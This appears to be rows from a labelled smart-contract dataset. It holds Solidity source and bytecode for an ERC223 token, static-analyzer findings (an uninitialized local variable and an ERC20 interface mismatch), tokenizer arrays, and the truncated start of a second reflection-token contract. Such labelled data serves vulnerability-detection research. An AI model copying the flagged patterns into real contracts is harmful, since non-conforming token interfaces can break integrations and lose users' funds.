function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Reference implementation of the ERC223 standard token.
* https://github.com/Dexaran/ERC223-token-standard/blob/ERC20_compatible/Token.sol
*/
contract ERC223Token is ERC223Interface, ERC20CompatibleToken {
using SafeMath for uint;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
bytes memory empty;
emit Transfer(_from, _to, _value, empty);
return true;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint _value, bytes _data) public {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint _value) public {
uint codeLength;
bytes memory empty;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, empty);
}
/**
* @dev Returns balance of the `_owner`.
*
* @param _owner The address whose balance will be returned.
* @return balance Balance of the `_owner`.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract QZToken is ERC223Token {
/* Initializes contract with initial supply tokens to the creator of the contract */
function QZToken(string tokenName, string tokenSymbol, uint8 decimalUnits, uint256 initialSupply) public {
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
decimals = decimalUnits; // Amount of decimals for display purposes
totalSupply = initialSupply * 10 ** uint(decimalUnits); // Update total supply
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
} | 0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce56714610249578063661884631461027857806370a08231146102d257806395d89b411461031f578063a9059cbb146103ad578063be45fd62146103ef578063d73dd62314610474578063dd62ed3e146104ce575b600080fd5b34156100ca57600080fd5b6100d261053a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e2565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106d4565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106de565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610b6f565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b6102b8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b86565b604051808215151515815260200191505060405180910390f35b34156102dd57600080fd5b610309600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e17565b6040518082815260200191505060405180910390f35b341561032a57600080fd5b610332610e60565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610372578082015181840152602081019050610357565b50505050905090810190601f16801561039f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103b857600080fd5b6103ed600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f08565b005b34156103fa57600080fd5b610472600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506112a2565b005b341561047f57600080fd5b6104b4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611633565b604051808215151515815260200191505060405180910390f35b34156104d957600080fd5b610524600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061182f565b6040518082815260200191505060405180910390f35b6105426118ed565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105d85780601f106105ad576101008083540402835291602001916105d8565b820191906000526020600020905b8154815290600101906020018083116105bb57829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60006106e8611901565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561072457600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561077257600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156107fd57600080fd5b61084f83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109b683600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b690919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3806040518082805190602001908083835b602083101515610ad15780518252602082019150602081019050602083039250610aac565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a460019150509392505050565b6000600460009054906101000a900460ff16905090565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c97576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2b565b610caa83826118b690919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e686118ed565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610efe5780601f10610ed357610100808354040283529160200191610efe565b820191906000526020600020905b815481529060010190602001808311610ee157829003601f168201915b5050505050905090565b6000610f12611901565b6000843b9250610f6a84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fff84600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cf90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561116e578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111105780820151818401526020810190506110f5565b50505050905090810190601f16801561113d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561115d57600080fd5b5af1151561116a57600080fd5b5050505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3816040518082805190602001908083835b60208310151561120957805182526020820191506020810190506020830392506111e4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a45050505050565b600080843b91506112fb84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061139084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cf90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156114ff578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156114a1578082015181840152602081019050611486565b50505050905090810190601f1680156114ce5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156114ee57600080fd5b5af115156114fb57600080fd5b5050505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3826040518082805190602001908083835b60208310151561159a5780518252602082019150602081019050602083039250611575565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a45050505050565b60006116c482600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cf90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156118c457fe5b818303905092915050565b60008082840190508381101515156118e357fe5b8091505092915050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a72305820012e93cb25c1b1514620a151c61b38113c88f250b42c8dd32fb95731d952fe3a0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
24087,
7959,
2620,
21472,
2278,
2581,
23833,
2094,
2629,
2063,
2549,
11057,
2692,
2050,
2683,
4402,
2050,
26187,
23632,
2581,
16409,
2581,
23499,
2549,
2063,
2620,
18939,
2546,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2538,
1025,
1013,
1008,
1008,
1008,
8785,
3136,
2007,
3808,
14148,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
20647,
20486,
1013,
9413,
2278,
19317,
2509,
1011,
19204,
1011,
3115,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
3647,
18900,
2232,
1012,
14017,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
5760,
4722,
5651,
1006,
21318,
3372,
1007,
1063,
21318,
3372,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,581 | 0x955ffdb53239c56d9ee4ac1f73b12850fe53afd4 | pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Money is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Money Inu';
string private _symbol = 'Money Inu';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
